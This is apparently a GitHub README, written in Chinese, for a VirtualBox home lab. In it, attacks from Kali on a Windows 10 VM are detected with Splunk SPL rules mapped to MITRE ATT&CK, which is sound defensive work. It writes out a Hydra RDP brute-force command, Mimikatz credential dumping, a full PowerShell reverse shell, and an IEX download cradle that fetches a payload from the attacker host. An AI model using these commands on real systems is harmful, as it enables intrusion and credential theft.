walidsuleiman/attack-detection-lab

GitHub: walidsuleiman/attack-detection-lab

一个基于VirtualBox的三虚拟机SIEM实验室,通过模拟真实攻击并编写Splunk SPL关联规则与MITRE ATT&CK映射来验证安全检测能力。

Stars: 0 | Forks: 0

# 攻击检测实验室 一个基于 3 个虚拟机的 SIEM 家庭实验室,用于在 VirtualBox 上使用 Splunk Enterprise、Kali Linux 和 Windows 10 检测现实世界的攻击。 ## 实验室架构 ``` ┌─────────────────────────────────────────────────────────┐ │ VirtualBox Host │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌─────────────┐ │ │ │ Kali Linux │ │ Windows 10 │ │ Splunk │ │ │ │ (Attacker) │ │ (Victim) │ │ Server │ │ │ │ │──▶│ │──▶│ (Ubuntu) │ │ │ │192.168.56.102│ │ DESKTOP- │ │192.168.56.x │ │ │ │ │ │ ABVS6BR │ │ │ │ │ └──────────────┘ └──────┬───────┘ └─────────────┘ │ │ │ Splunk UF │ │ │ port 9997 │ │ Host-Only Network: 192.168.56.0/24 │ │ NAT Network: internet access per VM │ └─────────────────────────────────────────────────────────┘ ``` **虚拟机配置:** | 虚拟机 | 操作系统 | 内存 | 角色 | |---|---|---|---| | Splunk Server | Ubuntu 25.04 | 6 GB | SIEM / 日志聚合 | | Windows 10 (`DESKTOP-ABVS6BR`) | Windows 10 22H2 | 4 GB | 受害者 / 日志源 | | Kali Linux (`192.168.56.102`) | Kali 2026.1 | 4 GB | 攻击者 | **网络:** 每台虚拟机都有两个适配器 —— NAT(互联网)和 Host-only(192.168.56.0/24,隔离实验室流量)。 **日志管道:** Windows 10 受害者运行 Splunk Universal Forwarder,将其 **Security** 事件日志发送到端口 9997 上的 Splunk 服务器,最终落入 `index=main`,sourcetype 为 `WinEventLog:Security`。 ## 攻击模拟 所有攻击均从 Kali Linux 虚拟机 (`192.168.56.102`) 发起,目标为 Windows 10 虚拟机 (`DESKTOP-ABVS6BR`)。 ### 1. 网络侦察 — Nmap (T1046) ``` nmap -sS -A -p- 192.168.56. ``` 对所有 65535 个端口执行带有 OS/服务检测的 SYN 扫描。生成可在 Windows 防火墙日志中看到的入站连接尝试。 ### 2. RDP 暴力破解 — Hydra (T1110) ``` gunzip /usr/share/wordlists/rockyou.txt.gz hydra -l Administrator -P /usr/share/wordlists/rockyou.txt \ rdp://192.168.56. -t 4 ``` 尝试对端口 3389 上的 RDP 服务进行密码喷射。每次失败的尝试都会在 Windows 安全日志中生成 **EventID 4625**。 ### 3. 凭据转储 — Mimikatz (T1003) 在 **Windows 虚拟机**上运行(模拟获得初始立足点后的后渗透阶段): ``` # 在 PowerShell 中以 Administrator 身份运行 .\mimikatz.exe privilege::debug sekurlsa::logonpasswords ``` 转储 LSASS 内存以提取明文凭据和 NTLM 哈希。需要启用进程创建审核以生成 **EventID 4688**。 **启用进程审核(在 Windows 虚拟机上运行一次):** ``` auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable ``` ### 4. 反向 Shell — PowerShell (T1059.001) **Kali — 开启监听器:** ``` nc -lvnp 4444 ``` **Windows 虚拟机 — 发起连接:** ``` $client = New-Object System.Net.Sockets.TCPClient("192.168.56.102", 4444) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte, 0, $sendbyte.Length) $stream.Flush() } ``` 还使用了下载载体变体从 Kali 主机拉取 payload: ``` IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.102:8000/shell.ps1') ``` 两者都建立了受攻击者控制的执行环境,并生成带有可疑 `powershell.exe` 命令行的 **EventID 4688**。 ## Splunk 检测规则 (SPL) Index: `main` · Sourcetype: `WinEventLog:Security`。 ### 规则 1 — RDP 暴力破解检测 (T1110) 当单个源 IP 产生超过 10 次失败登录时触发。 ``` index=main EventCode=4625 | stats count by Source_Network_Address, Account_Name | where count > 10 | sort -count ``` **告警配置:** 实时 · 当 `count > 10` 时触发 · 严重程度:高 ### 规则 2 — 暴力破解后的成功登录 (T1110.001) 检测来自一个 IP 的成功登录,且该 IP 同时存在失败尝试 —— 典型的暴力破解成功模式。 ``` index=main (EventCode=4625 OR EventCode=4624) | stats count(eval(EventCode=4625)) as failures, count(eval(EventCode=4624)) as successes by Source_Network_Address, Account_Name | where failures > 5 AND successes > 0 | table Source_Network_Address, Account_Name, failures, successes ``` **告警配置:** 计划任务(每 5 分钟) · 严重程度:严重 ### 规则 3 — Mimikatz / 凭据转储 (T1003) 检测 Mimikatz 二进制文件的进程创建事件。交互式命令(`sekurlsa::logonpasswords` 等)是在 Mimikatz *内部*输入的,**不**会出现在进程命令行中,因此该规则以进程名称/路径为关键匹配项。 ``` index=main EventCode=4688 (New_Process_Name="*mimikatz*" OR Process_Command_Line="*mimikatz*" OR Process_Command_Line="*sekurlsa*" OR Process_Command_Line="*lsadump*") | table _time, ComputerName, Account_Name, Creator_Process_Name, New_Process_Name, Process_Command_Line ``` **告警配置:** 实时 · 任何结果即触发 · 严重程度:严重 ### 规则 4 — PowerShell 反向 Shell / 下载载体 (T1059.001) 检测 PowerShell 生成 TCP 客户端或拉取远程 payload 的行为 —— 常见的反向 Shell 指标。末尾的 `*\powershell.exe` 匹配规则排除了来自 Universal Forwarder 的无害 `splunk-powershell.exe`。 ``` index=main EventCode=4688 New_Process_Name="*\\powershell.exe" (Process_Command_Line="*DownloadString*" OR Process_Command_Line="*Net.WebClient*" OR Process_Command_Line="*IEX*" OR Process_Command_Line="*TCPClient*" OR Process_Command_Line="*Net.Sockets*") | table _time, ComputerName, Account_Name, Creator_Process_Name, Process_Command_Line ``` **告警配置:** 实时 · 任何结果即触发 · 严重程度:严重 ### 字段映射(原始 WinEventLog 与 标准化) | 概念 | 本实验室 (原始 `WinEventLog:Security`) | CIM / Sysmon 等效项 | |----------------------|---------------------------------------|-------------------------| | 源 IP | `Source_Network_Address` | `src_ip` / `src` | | 目标账户 | `Account_Name` | `TargetUserName` / `user` | | 进程命令行 | `Process_Command_Line` | `CommandLine` | | 新进程 | `New_Process_Name` | `Image` / `process` | | 父进程 | `Creator_Process_Name` | `ParentProcessName` / `parent_process` | | 主机 | `ComputerName` / `host` | `host` / `dvc` | ## 检测结果与证据 所有检测均针对实验室数据实时运行。截图来自**攻击检测实验室 – Windows 安全监控**仪表板(Splunk 源 XML 位于 [`dashboards/attack_detection_lab.xml`](dashboards/attack_detection_lab.xml))。 ![完整的 Splunk 仪表板](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/00-dashboard-overview.png) ### 捕获的事件量 | 事件代码 | 含义 | 计数(实验室窗口期) | |-----------:|-------------------------------------------|-------------------:| | 4688 | 创建了新进程 | 2,117 | | 4624 | 账户成功登录 | 451 | | 4672 | 为新登录分配特殊权限 | 428 | | 4625 | 账户登录失败 | 34 | | 4648 | 尝试使用显式凭据登录| 32 | ![按事件代码统计的安全事件量](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/01-event-volume.png) ### 已验证:RDP 暴力破解 (T1110) 在紧密的爆发中出现了 34 次失败登录 (4625) 事件,全部来自 **`192.168.56.102`**(Kali 攻击者),针对 **`Victim`** 账户,失败原因为 *“用户名未知或密码错误。”* 时间序列显示,在原本平静的基线上出现了单次急剧激增。 ![随时间变化的暴力破解失败登录](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/02-brute-force.png) ![暴力破解源 IP 和目标账户](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/03-brute-force-source.png) ### 已验证:凭据转储 — Mimikatz (T1003) 进程创建事件显示 `mimikatz.exe` 从 `C:\Users\Victim\Downloads\mimikatz_trunk\x64\mimikatz.exe` 执行,由 `explorer.exe` 在 `Victim` 账户下使用提升的令牌启动。 ![Mimikatz 进程创建](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/04-mimikatz.png) ### 已验证:PowerShell 反向 Shell / 下载载体 (T1059.001) 多个带有命令行 `IEX(New-Object Net.WebClient).DownloadString('http://192.168.56.102:8000/shell.ps1')` 的 `powershell.exe` 进程创建事件 —— 这是一个从 Kali 主机拉取的远程 payload。 ![PowerShell 反向 Shell / 下载载体](https://raw.githubusercontent.com/walidsuleiman/attack-detection-lab/main/docs/images/05-powershell.png) ## MITRE ATT&CK 映射 | 攻击 | 工具 | MITRE ID | 战术 | Splunk EventCode | 已在安全日志中验证 | |---|---|---|---|---|---| | 网络扫描 | Nmap | T1046 | Discovery | 防火墙/IDS 日志 | n/a(网络日志) | | RDP 暴力破解 | Hydra | T1110 | Credential Access | 4625 (失败), 4624 (成功) | ✅ | | 凭据转储 | Mimikatz | T1003.001 | Credential Access | 4688 (进程创建) | ✅ | | 反向 shell | PowerShell | T1059.001 | Execution | 4688 (进程创建) | ✅ | ## Splunk 仪表板 仪表板名称:**攻击检测实验室 – Windows 安全监控** (Classic / Simple XML)。 一个共享的时间范围选择器驱动所有面板。源 XML: [`dashboards/attack_detection_lab.xml`](dashboards/attack_detection_lab.xml)。 | 面板 | 检测 | |---|---| | 按事件代码统计的安全事件量 | 所有安全事件概览 | | RDP 暴力破解:随时间变化的失败登录 (4625) | T1110 | | 失败与成功登录对比 (4625 vs 4624) | T1110 / T1110.001 | | 暴力破解:源 IP 和目标账户 (4625) | T1110 | | 凭据转储:Mimikatz 进程创建 (4688) | T1003 | | PowerShell 反向 Shell / 下载载体 (4688) | T1059.001 | ## 故障排除:暴力破解测试期间的账户锁定 在运行 Hydra 暴力破解时,重复的失败登录触发了 Windows **账户锁定策略**:在达到配置的错误密码尝试次数后,目标账户被锁定,这阻止了进一步生成 `4625` 事件,并阻止了对该账户的合法登录。 **解决方案:** 1. 使用单独的 **管理员**账户登录(被暴力破解的账户已被锁定)。 2. 打开 **本地安全策略** (`secpol.msc`) → **账户策略** → **账户锁定策略**。 3. 将 **账户锁定阈值** 设置为 `0`(禁用锁定),然后使用 `gpupdate /force` 应用。 4. 解锁 / 重新启用目标账户并重新运行暴力破解,随后生成了仪表板中可见的完整 `4625` 事件爆发。 **经验教训:** 账户锁定是一种防御控制措施,会干扰暴力破解*测试*,但这正是为什么暴力破解具有高噪性且易于检测的原因。在生产环境中,应保持启用阈值;在此禁用它仅是为了让实验室模拟能够端到端运行。 ## 简历要点 ## 使用的工具 - [Splunk Enterprise](https://www.splunk.com/) — SIEM 和日志分析 - [Kali Linux](https://www.kali.org/) — 攻击者 OS(Nmap、Hydra、Netcat) - [Mimikatz](https://github.com/gentilkiwi/mimikatz) — 凭据转储模拟 - [VirtualBox](https://www.virtualbox.org/) — Hypervisor - [MITRE ATT&CK](https://attack.mitre.org/) — 威胁情报框架 ## 仓库结构 ``` attack-detection-lab/ ├── README.md ├── dashboards/ │ └── attack_detection_lab.xml # Splunk Simple XML dashboard source └── docs/ └── images/ ├── 00-dashboard-overview.png ├── 01-event-volume.png ├── 02-brute-force.png ├── 03-brute-force-source.png ├── 04-mimikatz.png └── 05-powershell.png ```
标签:AI合规, 安全实验室